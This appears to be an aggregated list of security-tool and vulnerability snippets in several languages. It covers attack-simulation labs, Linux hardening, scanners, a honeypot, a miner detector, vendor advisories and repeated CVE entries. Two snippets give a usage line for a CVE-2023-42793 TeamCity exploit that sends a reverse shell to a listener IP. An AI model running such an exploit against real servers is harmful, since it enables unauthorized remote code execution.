attack_range

Splunk Attack Range v5 The Splunk Attack Range builds instrumented cloud environments AWS, Azure, GCP, simulates attacks, and forwards data into Splunk for detection development and testing. What it does: Build labs — Deploy a small, production-like lab Splunk, Windows/Linux servers, optional Kal...

How-To-Secure-A-Linux-Server

리눅스 서버 보안 가이드 리눅스 서버를 보안하는 방법에 대한 진화하는 가이드입니다. 보안의 중요성과 그 이유를 조금이나마 배울 수 있기를 바랍니다. 목차 소개 가이드 목표 서버를 보안해야 하는 이유 또 다른 가이드인 이유 다른 가이드 할 일 / 추가할 내용 가이드 개요 이 가이드에 대하여 내 사용 사례 설정 파일 편집 - 게으른 사람들을 위해 기여하기 시작하기 전에 원칙 파악 리눅스 배포판 선택 리눅스 설치 설치 전/후 요구 사항 기타 중요한 사항 Ansible 플레이북을 사용하여 리눅스 서버 보안 SSH 서버 SSH 변경 전...

pyfiscan

pyfiscan 소개 Pyfiscan은 무료 웹 애플리케이션 취약점 및 버전 스캐너로, Linux 서버에서 일반적인 웹 애플리케이션의 구버전을 찾는 데 사용할 수 있습니다. 예를 들어 호스팅 제공업체가 사용자 설치를 모니터링하여 보안 업데이트를 유지하는 경우에 유용합니다. 핑거프린트는 사용자가 YAML 구문으로 작성할 수 있어 쉽게 만들고 수정할 수 있습니다. Pyfiscan에는 템플릿을 사용하여 이메일 알림을 생성하는 도구도 포함되어 있습니다. 요구 사항 Python 3 Python 모듈 PyYAML docopt charde...

DECEIVE

DECEIVE DECEIVE, 즉 DECeption with Evaluative Integrated Validation Engine평가 기반 통합 검증 엔진을 갖춘 기만은 고상호작용high-interaction이면서도 적은 노력이 드는low-effort 허니팟 시스템입니다. 대부분의 고상호작용 허니팟과 달리, DECEIVE는 공격자에게 실제 시스템에 대한 접근 권한을 제공하지 않습니다. AI가 시뮬레이션하려는 시스템 유형을 설명하는 구성 가능한 시스템 프롬프트를 기반으로 실제와 같은 허니팟 시스템을 시뮬레이션하는 모든 작업을...

CVE-2023-42793

CVE-2023-42793について まず、別のエクスプロイトを使用してトークンを取得する必要があります。ただし、以下のエクスプロイトを使用すると、ペイロードをURLにエンコードしてサーバーに送信するため、LinuxサーバーへのRCEを取得できます。 使用方法 python3 ./main -t TEAMCITYTOKEN -u http://teamcity.runner.htb -p 80 -ni LISTENERIP -np LISTENERPORT...

security checks

🔍 Miner Hunter 리눅스 서버용 암호화폐 채굴기 탐지, 제거 및 강화 도구 키트. 실제 침해 대응 경험을 바탕으로 제작 — 루트킷 기법을 사용하여 ps, top, htop, btop에서 숨는 채굴기를 탐지합니다. 📦 설치 git clone https://gitlab.com/abdom.seada/security-checks.git cd security-checks sudo bash setup.sh 🔀 브랜치: master — 이 도구 키트는 master 브랜치에 있습니다. 향후 다른 보안 스크립트가 별도 브랜치에 추가될...

SecureOps-Lab

SecureOps Lab - 실시간 사이버 보안 평가 개요 대학 리눅스 서버에 대한 실시간 사이버 보안 평가를 수행했습니다. 분석 중에 무차별 대입 인증 시도 및 Log4Shell CVE-2021-44228 악용 시도를 포함한 활성 공격 활동이 확인되었습니다. "조정된 IP"는 동일 서브넷에서 발생하는 여러 악성 IP 주소를 의미하며, 이는 공유된 공격 인프라 또는 시스템을 동시에 대상으로 하는 자동화된 공격 도구의 사용을 나타냅니다. 위협 분석 및 발견 사항 무차별 대입 공격 단일 외부 IP에서 144회의 실패한 SSH 로그...

CVE-2023-42793

CVE-2023-42793について まず別のエクスプロイトを使用してトークンを取得する必要があります。ただし、以下のエクスプロイトはペイロードをURLにエンコードしてサーバーに送信するため、Linuxサーバー上でRCEを取得できます。 使用方法 root@kitploit: python3 ./main -t TEAMCITYTOKEN -u http://teamcity.runner.htb -p 80 -ni LISTENERIP -np LISTENERPORT...

[SECURITY] Fedora 43 Update: cockpit-367-1.fc43

The Cockpit Web Console enables users to administer GNU/Linux servers using a web browser. It offers network configuration, log inspection, diagnostic reports, SELinux troubleshooting, interactive command-line sessions, and more...

SUSE SLED15 / SLES15 Security Update : openexr (SUSE-SU-2026:3169-1)

The remote SUSE Linux SLED15 / SLEDSAP15 / SLES15 / SLESSAP15 host has packages installed that are affected by multiple vulnerabilities as referenced in the SUSE-SU-2026:3169-1 advisory. This update for openexr fixes the following issues - CVE-2026-54920: unchecked integer overflows in...

CVE-2026-52101

An issue in andreimarcu linux-server v.1.0 through v.2.3.8 allows a remote attacker to obtain sensitive information via the function uploadRemote function in upload.go...

CVE-2026-52100

Cross Site Request Forgery vulnerability in andreimarcu linux-server v.1.0 through v.2.3.8 allows a remote attacker to execute arbitrary code via the uploadPutHandler function...

CVE-2026-47481

CVE-2026-47481 affects NVIDIA Triton Inference Server for Linux. The vulnerability enables authentication bypass via an alternative path or channel, with potential for code execution, privilege escalation, information disclosure, and data tampering. NVIDIA’s security bulletin indicates remediatio...

CVE-2026-47481

NVIDIA Triton Inference Server for Linux contains a vulnerability where an attacker can cause an authentication bypass through an alternative path or channel. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, information disclosure, and data...

CVE-2026-47478

NVIDIA Triton Inference Server for Linux contains a vulnerability where an attacker can cause the use of an expired file descriptor. A successful exploit of this vulnerability might lead to denial of service...

CVE-2026-47477

The CVE-2026-47477 entry affects NVIDIA Triton Inference Server for Linux. Root cause: a stack-based buffer overflow in a component used by the server, which can lead to a Denial of Service. Impact: availability loss with attacker-initiated network access (no authentication, no user interaction)....

CVE-2026-52101: Exposure of Sensitive Information to an Unauthorized Actor

An issue in andreimarcu linux-server v.1.0 through v.2.3.8 allows a remote attacker to obtain sensitive information via the function uploadRemote function in upload.go...

CVE-2026-52100

Cross Site Request Forgery vulnerability in andreimarcu linux-server v.1.0 through v.2.3.8 allows a remote attacker to execute arbitrary code via the uploadPutHandler function...

CVE-2026-52101

An issue in andreimarcu linux-server v.1.0 through v.2.3.8 allows a remote attacker to obtain sensitive information via the function uploadRemote function in upload.go...

CVE-2026-52100

Cross Site Request Forgery vulnerability in andreimarcu linux-server v.1.0 through v.2.3.8 allows a remote attacker to execute arbitrary code via the uploadPutHandler function...